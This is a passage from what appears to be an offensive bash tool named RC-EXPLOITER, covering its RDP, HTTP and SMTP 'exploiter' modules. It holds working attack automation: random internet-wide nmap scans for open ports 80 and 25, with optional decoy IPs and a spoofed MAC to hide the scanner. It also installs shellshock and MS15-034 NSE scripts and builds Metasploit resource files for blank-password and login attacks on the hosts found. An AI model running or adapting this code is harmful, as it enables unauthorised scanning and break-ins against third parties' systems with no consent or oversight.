  1622.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1623.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  1624.     echo "resource $IPATH/exploits/rdp.rc" >> $IPATH/tempwork/msfdb.rc
  1625.  
  1626.       # generate (cleaner) resource file
  1627.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1628.       echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
  1629.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1630.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1631.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1632.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1633.  
  1634.          cd $IPATH/exploits/
  1635.          # using bash SED to replace value (report.log)
  1636.          cp rdp.rc rdp.bk > /dev/null 2<&1
  1637.          sed "s|Lt0P4tH|$IPATH/logs/[rdp].log|g" ftp.rc > copy.int
  1638.          mv copy.int rdp.rc > /dev/null 2<&1
  1639.          cd $IPATH
  1640.  
  1641.            # store in debug.int
  1642.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1643.  
  1644.       # start postgresql+metasploit db
  1645.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1646.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1647.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1648.  
  1649.       if [ "$DiStR0" = "Kali" ]; then
  1650.         service postgresql start > /dev/null 2>&1
  1651.         service metasploit start > /dev/null 2>&1
  1652.       else
  1653.         service metasploit start > /dev/null 2>&1
  1654.       fi
  1655.  
  1656.     # display cleaner command
  1657.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1658.     echo ${white}--------------------------------------------------------${Reset};
  1659.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1660.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1661.     echo ${white}--------------------------------------------------------${Reset};
  1662.  
  1663.   # access msfdatabase
  1664.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1665.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1666.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1667.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[rdp].log" --width 480 > /dev/null 2>&1
  1668.   service metasploit stop > /dev/null 2>&1
  1669.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1670.  
  1671.   # clean old files
  1672.   mv $IPATH/exploits/rdp.bk $IPATH/exploits/rdp.rc > /dev/null 2<&1
  1673.   chown $user $IPATH/exploits/rdp.rc > /dev/null 2>&1
  1674.  
  1675.   else
  1676.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1677.   echo "RDP:MANUAL:ABORT" >> $IPATH/debug/debug.int
  1678.   sleep 2
  1679.   fi
  1680.  
  1681.  
  1682. else
  1683.  
  1684.    Colors;
  1685.    echo ${RedF}[x]::[quiting module]... ${Reset};
  1686.    echo "RDP:CANCEL" >> $IPATH/debug/debug.int
  1687.    sleep 2
  1688. fi
  1689. }
  1690.  
  1691.  
  1692.  
  1693.  
  1694. # --------------
  1695. # HTTP exploiter
  1696. # --------------
  1697. sh_8 () {
  1698. Colors;
  1699. # search in wan OR manually input rhosts
  1700. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  1701.  
  1702.  
  1703.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  1704.      echo "HTTP:WAN:LOADED" >> $IPATH/debug/debug.int
  1705.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  1706.  
  1707.      # use DECOY'S in scanning WAN networks?
  1708.      if [ "$Ch3" = "YES" ]; then
  1709.      # use decoys to scan wan networks
  1710.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  1711.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 80 --open --reason -oN $IPATH/logs/Random-Hosts[http].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 80\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1712.      else
  1713.      # default (dont use decoys)
  1714.      nmap -sS -iR $NUM -PN -p 80 --open --reason -oN $IPATH/logs/Random-Hosts[http].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 80\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1715.      fi
  1716.  
  1717.      echo ""
  1718.      # display on screen hosts found
  1719.      cat $IPATH/logs/Random-Hosts[http].log
  1720.      echo ""
  1721.  
  1722.        # generate (settings) resource file
  1723.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1724.          if [ "$?" -eq "0" ]; then
  1725.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1726.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1727.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  1728.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1729.        echo "setg TARGETURI /cgi-bin/printenv.cgi" >> $IPATH/tempwork/msfdb.rc
  1730.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1731.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1732.        echo "resource $IPATH/exploits/http.rc" >> $IPATH/tempwork/msfdb.rc
  1733.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1734.  
  1735.          # generate (cleaner) resource file
  1736.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1737.          echo "unset -g RHOST RHOSTS USERNAME BLANK_PASSWORDS STOP_ON_SUCCESS TARGETURI THREADS BLANK_PASSWORDS" >> $IPATH/tempwork/cleaner.rc
  1738.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1739.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1740.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1741.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1742.          chown $user $IPATH/logs/Random-Hosts[http].log > /dev/null 2>&1
  1743.  
  1744.          cd $IPATH/exploits/
  1745.          # using bash SED to replace value (report.log)
  1746.          cp http.rc http.bk > /dev/null 2<&1
  1747.          sed "s|Lt0P4tH|$IPATH/logs/[http].log|g" http.rc > copy.int
  1748.          sed "s|LiLiP4tH|$IPATH/logs/[http].log|g" copy.int > copy2.int
  1749.          mv copy2.int http.rc > /dev/null 2<&1
  1750.          cd $IPATH
  1751.  
  1752.            # store in debug.int
  1753.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1754.  
  1755.  
  1756.         # check if exists nmap scripts folder
  1757.         if [ -d $nS31 ]; then
  1758.           # check if exists shellshock script
  1759.           if [ -e $nS31/http-shellshock.nse ]; then
  1760.             echo "good" > /dev/null 2>&1
  1761.           else
  1762.             # copy nse scripts and lua lib to nmap directory
  1763.             echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  1764.             cp $IPATH/bin/http-shellshock.nse $nS31/http-shellshock.nse
  1765.             cp $IPATH/bin/ms15-034.nse $nS31/ms15-034.nse
  1766.             Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  1767.             cp $IPATH/bin/http-shellshock.nse $Ints/http-shellshock.nse
  1768.             cp $IPATH/bin/ms15-034.nse $Ints/ms15-034.nse
  1769.           fi
  1770.  
  1771.         else
  1772.  
  1773.           # error nse folder not found
  1774.           echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
  1775.           echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
  1776.           sleep 2
  1777.           # manually input NSE folders path and metasploit nmap path
  1778.          qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
  1779.          qU2=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  1780.           echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  1781.           # copy files to its rigth place in nmapdb and msfdb
  1782.           cp $IPATH/bin/http-shellshock.nse $qU/http-shellshock.nse
  1783.           cp $IPATH/bin/http-shellshock.nse $qU2/http-shellshock.nse
  1784.           cp $IPATH/bin/ms15-034.nse $qU/ms15-034.nse
  1785.           cp $IPATH/bin/ms15-034.nse $qU2/ms15-034.nse
  1786.         fi
  1787.  
  1788.  
  1789.       # update NSE database befor running resource files
  1790.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
  1791.       nmap --script-updatedb | grep "updated"
  1792.  
  1793.  
  1794.       # start postgresql+metasploit db
  1795.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1796.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1797.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1798.  
  1799.       if [ "$DiStR0" = "Kali" ]; then
  1800.         service postgresql start > /dev/null 2>&1
  1801.         service metasploit start > /dev/null 2>&1
  1802.       else
  1803.         service metasploit start > /dev/null 2>&1
  1804.       fi
  1805.  
  1806.     # display cleaner command
  1807.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1808.     echo ${white}--------------------------------------------------------${Reset};
  1809.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1810.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1811.     echo ${white}--------------------------------------------------------${Reset};
  1812.  
  1813.   # access msfdatabase
  1814.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1815.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1816.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1817.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[http].log" --width 480 > /dev/null 2>&1
  1818.   service metasploit stop > /dev/null 2>&1
  1819.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1820.  
  1821.   # clean old files
  1822.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  1823.   mv $IPATH/exploits/http.bk $IPATH/exploits/http.rc > /dev/null 2<&1
  1824.   chown $user $IPATH/exploits/http.rc > /dev/null 2>&1
  1825.  
  1826.   else
  1827.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1828.   echo "HTTP:WAN:ABORT" >> $IPATH/debug/debug.int
  1829.   sleep 2
  1830.   fi
  1831.  
  1832.  
  1833.  
  1834.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  1835.    echo "HTTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
  1836.   # imput manually RHOSTS
  1837.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1838.      if [ "$?" -eq "0" ]; then
  1839.  
  1840.     # generate (settings) resource file
  1841.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1842.     echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1843.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  1844.     echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1845.     echo "setg TARGETURI /cgi-bin/printenv.cgi" >> $IPATH/tempwork/msfdb.rc
  1846.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1847.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1848.     echo "resource $IPATH/exploits/http.rc" >> $IPATH/tempwork/msfdb.rc
  1849.  
  1850.       # generate (cleaner) resource file
  1851.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1852.       echo "unset -g RHOST RHOSTS USERNAME BLANK_PASSWORDS STOP_ON_SUCCESS TARGETURI THREADS BLANK_PASSWORDS" >> $IPATH/tempwork/cleaner.rc
  1853.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1854.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1855.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1856.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1857.  
  1858.          cd $IPATH/exploits/
  1859.          # using bash SED to replace value (report.log)
  1860.          cp http.rc http.bk > /dev/null 2<&1
  1861.          sed "s|Lt0P4tH|$IPATH/logs/[http].log|g" http.rc > copy.int
  1862.          sed "s|LiLiP4tH|$IPATH/logs/[http].log|g" copy.int > copy2.int
  1863.          mv copy2.int http.rc > /dev/null 2<&1
  1864.          cd $IPATH
  1865.  
  1866.            # store in debug.int
  1867.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1868.  
  1869.         # check if exists nmap scripts folder
  1870.         if [ -d $nS31 ]; then
  1871.           # check if exists shellshock script
  1872.           if [ -e $nS31/http-shellshock.nse ]; then
  1873.             echo "good" > /dev/null 2>&1
  1874.           else
  1875.             # copy nse scripts and lua lib to nmap directory
  1876.             echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  1877.             cp $IPATH/bin/http-shellshock.nse $nS31/http-shellshock.nse
  1878.             cp $IPATH/bin/ms15-034.nse $nS31/ms15-034.nse
  1879.             Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  1880.             cp $IPATH/bin/http-shellshock.nse $Ints/http-shellshock.nse
  1881.             cp $IPATH/bin/ms15-034.nse $Ints/ms15-034.nse
  1882.           fi
  1883.  
  1884.         else
  1885.  
  1886.           # error nse folder not found
  1887.           echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
  1888.           echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
  1889.           sleep 2
  1890.           # manually input NSE folders path and metasploit nmap path
  1891.          qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
  1892.          qU2=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  1893.           echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  1894.           # copy files to its rigth place in nmapdb and msfdb
  1895.           cp $IPATH/bin/http-shellshock.nse $qU/http-shellshock.nse
  1896.           cp $IPATH/bin/http-shellshock.nse $qU2/http-shellshock.nse
  1897.           cp $IPATH/bin/ms15-034.nse $qU/ms15-034.nse
  1898.           cp $IPATH/bin/ms15-034.nse $qU2/ms15-034.nse
  1899.         fi
  1900.  
  1901.  
  1902.       # update NSE database befor running resource files
  1903.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
  1904.       nmap --script-updatedb | grep "updated"
  1905.  
  1906.       # start postgresql+metasploit db
  1907.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1908.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1909.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1910.  
  1911.       if [ "$DiStR0" = "Kali" ]; then
  1912.         service postgresql start > /dev/null 2>&1
  1913.         service metasploit start > /dev/null 2>&1
  1914.       else
  1915.         service metasploit start > /dev/null 2>&1
  1916.       fi
  1917.  
  1918.     # display cleaner command
  1919.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1920.     echo ${white}--------------------------------------------------------${Reset};
  1921.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1922.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1923.     echo ${white}--------------------------------------------------------${Reset};
  1924.  
  1925.   # access msfdatabase
  1926.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1927.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1928.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1929.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[http].log" --width 480 > /dev/null 2>&1
  1930.   service metasploit stop > /dev/null 2>&1
  1931.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1932.  
  1933.   # clean old files
  1934.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  1935.   mv $IPATH/exploits/http.bk $IPATH/exploits/http.rc > /dev/null 2<&1
  1936.   chown $user $IPATH/exploits/http.rc > /dev/null 2>&1
  1937.  
  1938.  
  1939.   else
  1940.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1941.   echo "HTTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
  1942.   sleep 2
  1943.   fi
  1944.  
  1945.  
  1946. else
  1947.  
  1948.    Colors;
  1949.    echo ${RedF}[x]::[quiting module]... ${Reset};
  1950.    echo "HTTP:CANCEL" >> $IPATH/debug/debug.int
  1951.    sleep 2
  1952. fi
  1953. }
  1954.  
  1955.  
  1956.  
  1957.  
  1958. # --------------
  1959. # SMTP exploiter
  1960. # --------------
  1961. sh_9 () {
  1962. Colors;
  1963. # search in wan OR manually input rhosts
  1964. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  1965.  
  1966.  
  1967.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  1968.      echo "SMTP:WAN:LOADED" >> $IPATH/debug/debug.int
  1969.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  1970.  
  1971.      # use DECOY'S in scanning WAN networks?
  1972.      if [ "$Ch3" = "YES" ]; then
  1973.      # use decoys to scan wan networks
  1974.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  1975.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 25 --open --reason -oN $IPATH/logs/Random-Hosts[smtp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[smtp].log\nHOSTS: $NUM ONLY: open PORTS: 25\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1976.      else
  1977.      # default (dont use decoys)
  1978.      nmap -sS -iR $NUM -PN -p 25 --open --reason -oN $IPATH/logs/Random-Hosts[smtp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 25\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1979.      fi
  1980.  
  1981.      echo ""
  1982.      # display on screen hosts found
  1983.      cat $IPATH/logs/Random-Hosts[smtp].log
  1984.      echo ""
  1985.  
  1986.        # generate (settings) resource file
  1987.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1988.          if [ "$?" -eq "0" ]; then
  1989.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1990.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1991.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  1992.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1993.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1994.        echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
  1995.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1996.  
  1997.          # generate (cleaner) resource file
  1998.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1999.          echo "unset -g RHOST RHOSTS USERNAME USERPASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS" >> $IPATH/tempwork/cleaner.rc
  2000.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2001.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2002.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2003.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2004.          chown $user $IPATH/logs/Random-Hosts[smtp].log > /dev/null 2>&1
  2005.  
  2006.          cd $IPATH/exploits/
  2007.          # using bash SED to replace value (report.log)
  2008.          cp smtp.rc smtp.bk > /dev/null 2<&1
  2009.          sed "s|Lt0P4tH|$IPATH/logs/[smtp].log|g" smtp.rc > copy.int
  2010.          mv copy.int smtp.rc > /dev/null 2<&1
  2011.          cd $IPATH
  2012.  
  2013.            # store in debug.int
  2014.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2015.  
  2016.       # start postgresql+metasploit db
  2017.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2018.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2019.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2020.  
  2021.       if [ "$DiStR0" = "Kali" ]; then
  2022.         service postgresql start > /dev/null 2>&1
  2023.         service metasploit start > /dev/null 2>&1
  2024.       else
  2025.         service metasploit start > /dev/null 2>&1
  2026.       fi
  2027.  
  2028.     # display cleaner command
  2029.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2030.     echo ${white}--------------------------------------------------------${Reset};
  2031.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2032.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2033.     echo ${white}--------------------------------------------------------${Reset};
  2034.  
  2035.   # access msfdatabase
  2036.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2037.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2038.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2039.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smtp].log" --width 480 > /dev/null 2>&1
  2040.   service metasploit stop > /dev/null 2>&1
  2041.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2042.  
  2043.   # clean old files
  2044.   mv $IPATH/exploits/smtp.bk $IPATH/exploits/smtp.rc > /dev/null 2<&1
  2045.   chown $user $IPATH/exploits/smtp.rc > /dev/null 2>&1
  2046.  
  2047.   else
  2048.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2049.   echo "SMTP:WAN:ABORT" >> $IPATH/debug/debug.int
  2050.   sleep 2
  2051.   fi
  2052.  
  2053.  
  2054.  
  2055.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  2056.    echo "SMTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
  2057.   # imput manually RHOSTS
  2058.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2059.      if [ "$?" -eq "0" ]; then
  2060.  
  2061.     # generate (settings) resource file
  2062.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2063.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  2064.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  2065.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  2066.     echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
  2067.  
  2068.       # generate (cleaner) resource file
  2069.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2070.       echo "unset -g RHOST RHOSTS USERNAME USERPASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS" >> $IPATH/tempwork/cleaner.rc
  2071.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2072.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2073.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2074.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2075.  
  2076.          cd $IPATH/exploits/
  2077.          # using bash SED to replace value (report.log)
  2078.          cp smtp.rc smtp.bk > /dev/null 2<&1
  2079.          sed "s|Lt0P4tH|$IPATH/logs/[smtp].log|g" smtp.rc > copy.int
  2080.          mv copy.int smtp.rc > /dev/null 2<&1
  2081.          cd $IPATH
  2082.  
  2083.            # store in debug.int
  2084.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2085.  
  2086.       # start postgresql+metasploit db
  2087.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2088.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2089.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2090.  
  2091.       if [ "$DiStR0" = "Kali" ]; then
  2092.         service postgresql start > /dev/null 2>&1
  2093.         service metasploit start > /dev/null 2>&1
  2094.       else
  2095.         service metasploit start > /dev/null 2>&1
  2096.       fi
  2097.  
  2098.     # display cleaner command
  2099.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2100.     echo ${white}--------------------------------------------------------${Reset};
  2101.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2102.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2103.     echo ${white}--------------------------------------------------------${Reset};
  2104.  
  2105.   # access msfdatabase
  2106.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2107.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2108.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
